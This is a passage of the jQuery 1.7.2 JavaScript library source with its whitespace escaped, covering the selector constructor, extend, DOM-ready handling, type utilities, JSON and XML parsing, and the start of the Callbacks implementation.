this[0] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\t\t}\n\n\t\t// The body element only exists once, optimize finding it\n\t\tif ( selector === \"body\" && !context && document.body ) {\n\t\t\tthis.context = document;\n\t\t\tthis[0] = document.body;\n\t\t\tthis.selector = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\t// Are we dealing with HTML string or an ID?\n\t\t\tif ( selector.charAt(0) === \"<\" && selector.charAt( selector.length - 1 ) === \">\" && selector.length >= 3 ) {\n\t\t\t\t// Assume that strings that start and end with <> are HTML and skip the regex check\n\t\t\t\tmatch = [ null, selector, null ];\n\n\t\t\t} else {\n\t\t\t\tmatch = quickExpr.exec( selector );\n\t\t\t}\n\n\t\t\t// Verify a match, and that no context was specified for #id\n\t\t\tif ( match && (match[1] || !context) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[1] ) {\n\t\t\t\t\tcontext = context instanceof jQuery ? context[0] : context;\n\t\t\t\t\tdoc = ( context ? context.ownerDocument || context : document );\n\n\t\t\t\t\t// If a single string is passed in and it's a single tag\n\t\t\t\t\t// just do a createElement and skip the rest\n\t\t\t\t\tret = rsingleTag.exec( selector );\n\n\t\t\t\t\tif ( ret ) {\n\t\t\t\t\t\tif ( jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\t\tselector = [ document.createElement( ret[1] ) ];\n\t\t\t\t\t\t\tjQuery.fn.attr.call( selector, context, true );\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tselector = [ doc.createElement( ret[1] ) ];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tret = jQuery.buildFragment( [ match[1] ], [ doc ] );\n\t\t\t\t\t\tselector = ( ret.cacheable ? jQuery.clone(ret.fragment) : ret.fragment ).childNodes;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn jQuery.merge( this, selector );\n\n\t\t\t\t// HANDLE: $(\"#id\")\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[2] );\n\n\t\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\t\tif ( elem && elem.parentNode ) {\n\t\t\t\t\t\t// Handle the case where IE and Opera return items\n\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\tif ( elem.id !== match[2] ) {\n\t\t\t\t\t\t\treturn rootjQuery.find( selector );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, we inject the element directly into the jQuery object\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t\tthis[0] = elem;\n\t\t\t\t\t}\n\n\t\t\t\t\tthis.context = document;\n\t\t\t\t\tthis.selector = selector;\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: $(expr, $(...))\n\t\t\t} else if ( !context || context.jquery ) {\n\t\t\t\treturn ( context || rootjQuery ).find( selector );\n\n\t\t\t// HANDLE: $(expr, context)\n\t\t\t// (which is just equivalent to: $(context).find(expr)\n\t\t\t} else {\n\t\t\t\treturn this.constructor( context ).find( selector );\n\t\t\t}\n\n\t\t// HANDLE: $(function)\n\t\t// Shortcut for document ready\n\t\t} else if ( jQuery.isFunction( selector ) ) {\n\t\t\treturn rootjQuery.ready( selector );\n\t\t}\n\n\t\tif ( selector.selector !== undefined ) {\n\t\t\tthis.selector = selector.selector;\n\t\t\tthis.context = selector.context;\n\t\t}\n\n\t\treturn jQuery.makeArray( selector, this );\n\t},\n\n\t// Start with an empty selector\n\tselector: \"\",\n\n\t// The current version of jQuery being used\n\tjquery: \"1.7.2\",\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\t// The number of elements contained in the matched element set\n\tsize: function() {\n\t\treturn this.length;\n\t},\n\n\ttoArray: function() {\n\t\treturn slice.call( this, 0 );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\t\treturn num == null ?\n\n\t\t\t// Return a 'clean' array\n\t\t\tthis.toArray() :\n\n\t\t\t// Return just the object\n\t\t\t( num < 0 ? this[ this.length + num ] : this[ num ] );\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems, name, selector ) {\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = this.constructor();\n\n\t\tif ( jQuery.isArray( elems ) ) {\n\t\t\tpush.apply( ret, elems );\n\n\t\t} else {\n\t\t\tjQuery.merge( ret, elems );\n\t\t}\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\n\t\tret.context = this.context;\n\n\t\tif ( name === \"find\" ) {\n\t\t\tret.selector = this.selector + ( this.selector ? \" \" : \"\" ) + selector;\n\t\t} else if ( name ) {\n\t\t\tret.selector = this.selector + \".\" + name + \"(\" + selector + \")\";\n\t\t}\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\t// (You can seed the arguments with an array of args, but this is\n\t// only used internally.)\n\teach: function( callback, args ) {\n\t\treturn jQuery.each( this, callback, args );\n\t},\n\n\tready: function( fn ) {\n\t\t// Attach the listeners\n\t\tjQuery.bindReady();\n\n\t\t// Add the callback\n\t\treadyList.add( fn );\n\n\t\treturn this;\n\t},\n\n\teq: function( i ) {\n\t\ti = +i;\n\t\treturn i === -1 ?\n\t\t\tthis.slice( i ) :\n\t\t\tthis.slice( i, i + 1 );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ),\n\t\t\t\"slice\", slice.call(arguments).join(\",\") );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map(this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t}));\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor(null);\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: [].sort,\n\tsplice: [].splice\n};\n\n// Give the init function the jQuery prototype for later instantiation\njQuery.fn.init.prototype = jQuery.fn;\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar options, name, src, copy, copyIsArray, clone,\n\t\ttarget = arguments[0] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\t\ttarget = arguments[1] || {};\n\t\t// skip the boolean and the target\n\t\ti = 2;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !jQuery.isFunction(target) ) {\n\t\ttarget = {};\n\t}\n\n\t// extend jQuery itself if only one argument is passed\n\tif ( length === i ) {\n\t\ttarget = this;\n\t\t--i;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\t\t// Only deal with non-null/undefined values\n\t\tif ( (options = arguments[ i ]) != null ) {\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tsrc = target[ name ];\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {\n\t\t\t\t\tif ( copyIsArray ) {\n\t\t\t\t\t\tcopyIsArray = false;\n\t\t\t\t\t\tclone = src && jQuery.isArray(src) ? src : [];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src && jQuery.isPlainObject(src) ? src : {};\n\t\t\t\t\t}\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend({\n\tnoConflict: function( deep ) {\n\t\tif ( window.$ === jQuery ) {\n\t\t\twindow.$ = _$;\n\t\t}\n\n\t\tif ( deep && window.jQuery === jQuery ) {\n\t\t\twindow.jQuery = _jQuery;\n\t\t}\n\n\t\treturn jQuery;\n\t},\n\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// A counter to track how many items to wait for before\n\t// the ready event fires. See #6781\n\treadyWait: 1,\n\n\t// Hold (or release) the ready event\n\tholdReady: function( hold ) {\n\t\tif ( hold ) {\n\t\t\tjQuery.readyWait++;\n\t\t} else {\n\t\t\tjQuery.ready( true );\n\t\t}\n\t},\n\n\t// Handle when the DOM is ready\n\tready: function( wait ) {\n\t\t// Either a released hold or an DOMready/load event and not yet ready\n\t\tif ( (wait === true && !--jQuery.readyWait) || (wait !== true && !jQuery.isReady) ) {\n\t\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\t\tif ( !document.body ) {\n\t\t\t\treturn setTimeout( jQuery.ready, 1 );\n\t\t\t}\n\n\t\t\t// Remember that the DOM is ready\n\t\t\tjQuery.isReady = true;\n\n\t\t\t// If a normal DOM Ready event fired, decrement, and wait if need be\n\t\t\tif ( wait !== true && --jQuery.readyWait > 0 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If there are functions bound, to execute\n\t\t\treadyList.fireWith( document, [ jQuery ] );\n\n\t\t\t// Trigger any bound ready events\n\t\t\tif ( jQuery.fn.trigger ) {\n\t\t\t\tjQuery( document ).trigger( \"ready\" ).off( \"ready\" );\n\t\t\t}\n\t\t}\n\t},\n\n\tbindReady: function() {\n\t\tif ( readyList ) {\n\t\t\treturn;\n\t\t}\n\n\t\treadyList = jQuery.Callbacks( \"once memory\" );\n\n\t\t// Catch cases where $(document).ready() is called after the\n\t\t// browser event has already occurred.\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\t// Handle it asynchronously to allow scripts the opportunity to delay ready\n\t\t\treturn setTimeout( jQuery.ready, 1 );\n\t\t}\n\n\t\t// Mozilla, Opera and webkit nightlies currently support this event\n\t\tif ( document.addEventListener ) {\n\t\t\t// Use the handy event callback\n\t\t\tdocument.addEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.addEventListener( \"load\", jQuery.ready, false );\n\n\t\t// If IE event model is used\n\t\t} else if ( document.attachEvent ) {\n\t\t\t// ensure firing before onload,\n\t\t\t// maybe late but safe also for iframes\n\t\t\tdocument.attachEvent( \"onreadystatechange\", DOMContentLoaded );\n\n\t\t\t// A fallback to window.onload, that will always work\n\t\t\twindow.attachEvent( \"onload\", jQuery.ready );\n\n\t\t\t// If IE and not a frame\n\t\t\t// continually check to see if the document is ready\n\t\t\tvar toplevel = false;\n\n\t\t\ttry {\n\t\t\t\ttoplevel = window.frameElement == null;\n\t\t\t} catch(e) {}\n\n\t\t\tif ( document.documentElement.doScroll && toplevel ) {\n\t\t\t\tdoScrollCheck();\n\t\t\t}\n\t\t}\n\t},\n\n\t// See test/unit/core.js for details concerning isFunction.\n\t// Since version 1.3, DOM methods and functions like alert\n\t// aren't supported. They return false on IE (#2968).\n\tisFunction: function( obj ) {\n\t\treturn jQuery.type(obj) === \"function\";\n\t},\n\n\tisArray: Array.isArray || function( obj ) {\n\t\treturn jQuery.type(obj) === \"array\";\n\t},\n\n\tisWindow: function( obj ) {\n\t\treturn obj != null && obj == obj.window;\n\t},\n\n\tisNumeric: function( obj ) {\n\t\treturn !isNaN( parseFloat(obj) ) && isFinite( obj );\n\t},\n\n\ttype: function( obj ) {\n\t\treturn obj == null ?\n\t\t\tString( obj ) :\n\t\t\tclass2type[ toString.call(obj) ] || \"object\";\n\t},\n\n\tisPlainObject: function( obj ) {\n\t\t// Must be an Object.\n\t\t// Because of IE, we also have to check the presence of the constructor property.\n\t\t// Make sure that DOM nodes and window objects don't pass through, as well\n\t\tif ( !obj || jQuery.type(obj) !== \"object\" || obj.nodeType || jQuery.isWindow( obj ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\ttry {\n\t\t\t// Not own constructor property must be Object\n\t\t\tif ( obj.constructor &&\n\t\t\t\t!hasOwn.call(obj, \"constructor\") &&\n\t\t\t\t!hasOwn.call(obj.constructor.prototype, \"isPrototypeOf\") ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} catch ( e ) {\n\t\t\t// IE8,9 Will throw exceptions on certain host objects #9897\n\t\t\treturn false;\n\t\t}\n\n\t\t// Own properties are enumerated firstly, so to speed up,\n\t\t// if last one is own, then all properties are own.\n\n\t\tvar key;\n\t\tfor ( key in obj ) {}\n\n\t\treturn key === undefined || hasOwn.call( obj, key );\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tfor ( var name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\terror: function( msg ) {\n\t\tthrow new Error( msg );\n\t},\n\n\tparseJSON: function( data ) {\n\t\tif ( typeof data !== \"string\" || !data ) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// Make sure leading/trailing whitespace is removed (IE can't handle it)\n\t\tdata = jQuery.trim( data );\n\n\t\t// Attempt to parse using the native JSON parser first\n\t\tif ( window.JSON && window.JSON.parse ) {\n\t\t\treturn window.JSON.parse( data );\n\t\t}\n\n\t\t// Make sure the incoming data is actual JSON\n\t\t// Logic borrowed from http://json.org/json2.js\n\t\tif ( rvalidchars.test( data.replace( rvalidescape, \"@\" )\n\t\t\t.replace( rvalidtokens, \"]\" )\n\t\t\t.replace( rvalidbraces, \"\")) ) {\n\n\t\t\treturn ( new Function( \"return \" + data ) )();\n\n\t\t}\n\t\tjQuery.error( \"Invalid JSON: \" + data );\n\t},\n\n\t// Cross-browser xml parsing\n\tparseXML: function( data ) {\n\t\tif ( typeof data !== \"string\" || !data ) {\n\t\t\treturn null;\n\t\t}\n\t\tvar xml, tmp;\n\t\ttry {\n\t\t\tif ( window.DOMParser ) { // Standard\n\t\t\t\ttmp = new DOMParser();\n\t\t\t\txml = tmp.parseFromString( data , \"text/xml\" );\n\t\t\t} else { // IE\n\t\t\t\txml = new ActiveXObject( \"Microsoft.XMLDOM\" );\n\t\t\t\txml.async = \"false\";\n\t\t\t\txml.loadXML( data );\n\t\t\t}\n\t\t} catch( e ) {\n\t\t\txml = undefined;\n\t\t}\n\t\tif ( !xml || !xml.documentElement || xml.getElementsByTagName( \"parsererror\" ).length ) {\n\t\t\tjQuery.error( \"Invalid XML: \" + data );\n\t\t}\n\t\treturn xml;\n\t},\n\n\tnoop: function() {},\n\n\t// Evaluates a script in a global context\n\t// Workarounds based on findings by Jim Driscoll\n\t// http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context\n\tglobalEval: function( data ) {\n\t\tif ( data && rnotwhite.test( data ) ) {\n\t\t\t// We use execScript on Internet Explorer\n\t\t\t// We use an anonymous function so that context is window\n\t\t\t// rather than jQuery in Firefox\n\t\t\t( window.execScript || function( data ) {\n\t\t\t\twindow[ \"eval\" ].call( window, data );\n\t\t\t} )( data );\n\t\t}\n\t},\n\n\t// Convert dashed to camelCase; used by the css and data modules\n\t// Microsoft forgot to hump their vendor prefix (#9572)\n\tcamelCase: function( string ) {\n\t\treturn string.replace( rmsPrefix, \"ms-\" ).replace( rdashAlpha, fcamelCase );\n\t},\n\n\tnodeName: function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase();\n\t},\n\n\t// args is for internal usage only\n\teach: function( object, callback, args ) {\n\t\tvar name, i = 0,\n\t\t\tlength = object.length,\n\t\t\tisObj = length === undefined || jQuery.isFunction( object );\n\n\t\tif ( args ) {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.apply( object[ name ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( ; i < length; ) {\n\t\t\t\t\tif ( callback.apply( object[ i++ ], args ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// A special, fast, case for the most common use of each\n\t\t} else {\n\t\t\tif ( isObj ) {\n\t\t\t\tfor ( name in object ) {\n\t\t\t\t\tif ( callback.call( object[ name ], name, object[ name ] ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( ; i < length; ) {\n\t\t\t\t\tif ( callback.call( object[ i ], i, object[ i++ ] ) === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn object;\n\t},\n\n\t// Use native String.trim function wherever possible\n\ttrim: trim ?\n\t\tfunction( text ) {\n\t\t\treturn text == null ?\n\t\t\t\t\"\" :\n\t\t\t\ttrim.call( text );\n\t\t} :\n\n\t\t// Otherwise use our own trimming functionality\n\t\tfunction( text ) {\n\t\t\treturn text == null ?\n\t\t\t\t\"\" :\n\t\t\t\ttext.toString().replace( trimLeft, \"\" ).replace( trimRight, \"\" );\n\t\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( array, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( array != null ) {\n\t\t\t// The window, strings (and functions) also have 'length'\n\t\t\t// Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930\n\t\t\tvar type = jQuery.type( array );\n\n\t\t\tif ( array.length == null || type === \"string\" || type === \"function\" || type === \"regexp\" || jQuery.isWindow( array ) ) {\n\t\t\t\tpush.call( ret, array );\n\t\t\t} else {\n\t\t\t\tjQuery.merge( ret, array );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, array, i ) {\n\t\tvar len;\n\n\t\tif ( array ) {\n\t\t\tif ( indexOf ) {\n\t\t\t\treturn indexOf.call( array, elem, i );\n\t\t\t}\n\n\t\t\tlen = array.length;\n\t\t\ti = i ? i < 0 ? Math.max( 0, len + i ) : i : 0;\n\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\t// Skip accessing in sparse arrays\n\t\t\t\tif ( i in array && array[ i ] === elem ) {\n\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn -1;\n\t},\n\n\tmerge: function( first, second ) {\n\t\tvar i = first.length,\n\t\t\tj = 0;\n\n\t\tif ( typeof second.length === \"number\" ) {\n\t\t\tfor ( var l = second.length; j < l; j++ ) {\n\t\t\t\tfirst[ i++ ] = second[ j ];\n\t\t\t}\n\n\t\t} else {\n\t\t\twhile ( second[j] !== undefined ) {\n\t\t\t\tfirst[ i++ ] = second[ j++ ];\n\t\t\t}\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, inv ) {\n\t\tvar ret = [], retVal;\n\t\tinv = !!inv;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( var i = 0, length = elems.length; i < length; i++ ) {\n\t\t\tretVal = !!callback( elems[ i ], i );\n\t\t\tif ( inv !== retVal ) {\n\t\t\t\tret.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar value, key, ret = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\t// jquery objects are treated as arrays\n\t\t\tisArray = elems instanceof jQuery || length !== undefined && typeof length === \"number\" && ( ( length > 0 && elems[ 0 ] && elems[ length -1 ] ) || length === 0 || jQuery.isArray( elems ) ) ;\n\n\t\t// Go through the array, translating each of the items to their\n\t\tif ( isArray ) {\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret[ ret.length ] = value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( key in elems ) {\n\t\t\t\tvalue = callback( elems[ key ], key, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret[ ret.length ] = value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn ret.concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// Bind a function to a context, optionally partially applying any\n\t// arguments.\n\tproxy: function( fn, context ) {\n\t\tif ( typeof context === \"string\" ) {\n\t\t\tvar tmp = fn[ context ];\n\t\t\tcontext = fn;\n\t\t\tfn = tmp;\n\t\t}\n\n\t\t// Quick check to determine if target is callable, in the spec\n\t\t// this throws a TypeError, but we will just return undefined.\n\t\tif ( !jQuery.isFunction( fn ) ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\t// Simulated bind\n\t\tvar args = slice.call( arguments, 2 ),\n\t\t\tproxy = function() {\n\t\t\t\treturn fn.apply( context, args.concat( slice.call( arguments ) ) );\n\t\t\t};\n\n\t\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\t\tproxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++;\n\n\t\treturn proxy;\n\t},\n\n\t// Mutifunctional method to get and set values to a collection\n\t// The value/s can optionally be executed if it's a function\n\taccess: function( elems, fn, key, value, chainable, emptyGet, pass ) {\n\t\tvar exec,\n\t\t\tbulk = key == null,\n\t\t\ti = 0,\n\t\t\tlength = elems.length;\n\n\t\t// Sets many values\n\t\tif ( key && typeof key === \"object\" ) {\n\t\t\tfor ( i in key ) {\n\t\t\t\tjQuery.access( elems, fn, i, key[i], 1, emptyGet, value );\n\t\t\t}\n\t\t\tchainable = 1;\n\n\t\t// Sets one value\n\t\t} else if ( value !== undefined ) {\n\t\t\t// Optionally, function values get executed if exec is true\n\t\t\texec = pass === undefined && jQuery.isFunction( value );\n\n\t\t\tif ( bulk ) {\n\t\t\t\t// Bulk operations only iterate when executing function values\n\t\t\t\tif ( exec ) {\n\t\t\t\t\texec = fn;\n\t\t\t\t\tfn = function( elem, key, value ) {\n\t\t\t\t\t\treturn exec.call( jQuery( elem ), value );\n\t\t\t\t\t};\n\n\t\t\t\t// Otherwise they run against the entire set\n\t\t\t\t} else {\n\t\t\t\t\tfn.call( elems, value );\n\t\t\t\t\tfn = null;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( fn ) {\n\t\t\t\tfor (; i < length; i++ ) {\n\t\t\t\t\tfn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tchainable = 1;\n\t\t}\n\n\t\treturn chainable ?\n\t\t\telems :\n\n\t\t\t// Gets\n\t\t\tbulk ?\n\t\t\t\tfn.call( elems ) :\n\t\t\t\tlength ? fn( elems[0], key ) : emptyGet;\n\t},\n\n\tnow: function() {\n\t\treturn ( new Date() ).getTime();\n\t},\n\n\t// Use of jQuery.browser is frowned upon.\n\t// More details: http://docs.jquery.com/Utilities/jQuery.browser\n\tuaMatch: function( ua ) {\n\t\tua = ua.toLowerCase();\n\n\t\tvar match = rwebkit.exec( ua ) ||\n\t\t\tropera.exec( ua ) ||\n\t\t\trmsie.exec( ua ) ||\n\t\t\tua.indexOf(\"compatible\") < 0 && rmozilla.exec( ua ) ||\n\t\t\t[];\n\n\t\treturn { browser: match[1] || \"\", version: match[2] || \"0\" };\n\t},\n\n\tsub: function() {\n\t\tfunction jQuerySub( selector, context ) {\n\t\t\treturn new jQuerySub.fn.init( selector, context );\n\t\t}\n\t\tjQuery.extend( true, jQuerySub, this );\n\t\tjQuerySub.superclass = this;\n\t\tjQuerySub.fn = jQuerySub.prototype = this();\n\t\tjQuerySub.fn.constructor = jQuerySub;\n\t\tjQuerySub.sub = this.sub;\n\t\tjQuerySub.fn.init = function init( selector, context ) {\n\t\t\tif ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) {\n\t\t\t\tcontext = jQuerySub( context );\n\t\t\t}\n\n\t\t\treturn jQuery.fn.init.call( this, selector, context, rootjQuerySub );\n\t\t};\n\t\tjQuerySub.fn.init.prototype = jQuerySub.fn;\n\t\tvar rootjQuerySub = jQuerySub(document);\n\t\treturn jQuerySub;\n\t},\n\n\tbrowser: {}\n});\n\n// Populate the class2type map\njQuery.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"), function(i, name) {\n\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n});\n\nbrowserMatch = jQuery.uaMatch( userAgent );\nif ( browserMatch.browser ) {\n\tjQuery.browser[ browserMatch.browser ] = true;\n\tjQuery.browser.version = browserMatch.version;\n}\n\n// Deprecated, use jQuery.browser.webkit instead\nif ( jQuery.browser.webkit ) {\n\tjQuery.browser.safari = true;\n}\n\n// IE doesn't match non-breaking spaces with \\s\nif ( rnotwhite.test( \"\\xA0\" ) ) {\n\ttrimLeft = /^[\\s\\xA0]+/;\n\ttrimRight = /[\\s\\xA0]+$/;\n}\n\n// All jQuery objects should point back to these\nrootjQuery = jQuery(document);\n\n// Cleanup functions for the document ready method\nif ( document.addEventListener ) {\n\tDOMContentLoaded = function() {\n\t\tdocument.removeEventListener( \"DOMContentLoaded\", DOMContentLoaded, false );\n\t\tjQuery.ready();\n\t};\n\n} else if ( document.attachEvent ) {\n\tDOMContentLoaded = function() {\n\t\t// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).\n\t\tif ( document.readyState === \"complete\" ) {\n\t\t\tdocument.detachEvent( \"onreadystatechange\", DOMContentLoaded );\n\t\t\tjQuery.ready();\n\t\t}\n\t};\n}\n\n// The DOM ready check for Internet Explorer\nfunction doScrollCheck() {\n\tif ( jQuery.isReady ) {\n\t\treturn;\n\t}\n\n\ttry {\n\t\t// If IE is used, use the trick by Diego Perini\n\t\t// http://javascript.nwbox.com/IEContentLoaded/\n\t\tdocument.documentElement.doScroll(\"left\");\n\t} catch(e) {\n\t\tsetTimeout( doScrollCheck, 1 );\n\t\treturn;\n\t}\n\n\t// and execute any waiting functions\n\tjQuery.ready();\n}\n\nreturn jQuery;\n\n})();\n\n\n// String to Object flags format cache\nvar flagsCache = {};\n\n// Convert String-formatted flags into Object-formatted ones and store in cache\nfunction createFlags( flags ) {\n\tvar object = flagsCache[ flags ] = {},\n\t\ti, length;\n\tflags = flags.split( /\\s+/ );\n\tfor ( i = 0, length = flags.length; i < length; i++ ) {\n\t\tobject[ flags[i] ] = true;\n\t}\n\treturn object;\n}\n\n/*\n * Create a callback list using the following parameters:\n *\n *\tflags:\tan optional list of space-separated flags that will change how\n *\t\t\tthe callback list behaves\n *\n * By default a callback list will act like an event callback list and can be\n * \"fired\" multiple times.\n *\n * Possible flags:\n *\n *\tonce:\t\t\twill ensure the callback list can only be fired once (like a Deferred)\n *\n *\tmemory:\t\t\twill keep track of previous values and will call any callback added\n *\t\t\t\t\tafter the list has been fired right away with the latest \"memorized\"\n *\t\t\t\t\tvalues (like a Deferred)\n *\n *\tunique:\t\t\twill ensure a callback can only be added once (no duplicate in the list)\n *\n *\tstopOnFalse:\tinterrupt callings when a callback returns false\n *\n */\njQuery.Callbacks = function( flags ) {\n\n\t// Convert flags from String-formatted to Object-formatted\n\t// (we check in cache first)\n\tflags = flags ? ( flagsCache[ flags ] || createFlags( flags ) ) : {};\n\n\tvar // Actual callback list\n\t\tlist = [],\n\t\t// Stack of fire calls for repeatable lists\n\t\tstack = [],\n\t\t// Last fire value (for non-forgettable lists)\n\t\tmemory,\n\t\t// Flag to know if list was already fired\n\t\tfired,\n\t\t// Flag to know if list is currently firing\n\t\tfiring,\n\t\t// First callback to fire (used internally by add and fireWith)\n\t\tfiringStart,\n\t\t// End of the loop when firing\n\t\tfiringLength,\n\t\t// Index of currently firing callback (modified by remove if needed)\n\t\tfiringIndex,\n\t\t// Add one or several callbacks to the list\n\t\tadd = function( args ) {\n\t\t\tvar i,\n\t\t\t\tlength,\n\t\t\t\telem,\n\t\t\t\ttype,\n\t\t\t\tactual;\n\t\t\tfor ( i = 0, length = args.length; i < length; i++ ) {\n\t\t\t\telem = args[ i ];\n\t\t\t\ttype = jQuery.type( elem );\n\t\t\t\tif ( type === \"array\" ) {\n\t\t\t\t\t// Inspect recursively\n\t\t\t\t\tadd( elem );\n\t\t\t\t} else if ( type === \"function\" ) {\n\t\t\t\t\t// Add if not in unique mode and callback is not in\n\t\t\t\t\tif ( !flags.unique || !self.has( elem ) ) {\n\t\t\t\t\t\tlist.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t// Fire callbacks\n\t\tfire = function( context, args ) {\n\t\t\targs = args || [];\n\t\t\tmemory = !flags.memory || [ context, args ];\n\t\t\tfired = true;\n\t\t\tfiring = true;\n\t\t\tfiringIndex = firingStart || 0;\n\t\t\tfiringStart = 0;\n\t\t\tfiringLength = list.length;\n\t\t\tfor ( ; list && firingIndex < firingLength; firingIndex++ ) {\n\t\t\t\tif ( list[ firingIndex ].apply( context, args ) === false && flags.stopOnFalse ) {\n\t\t\t\t\tmemory = true; // Mark as 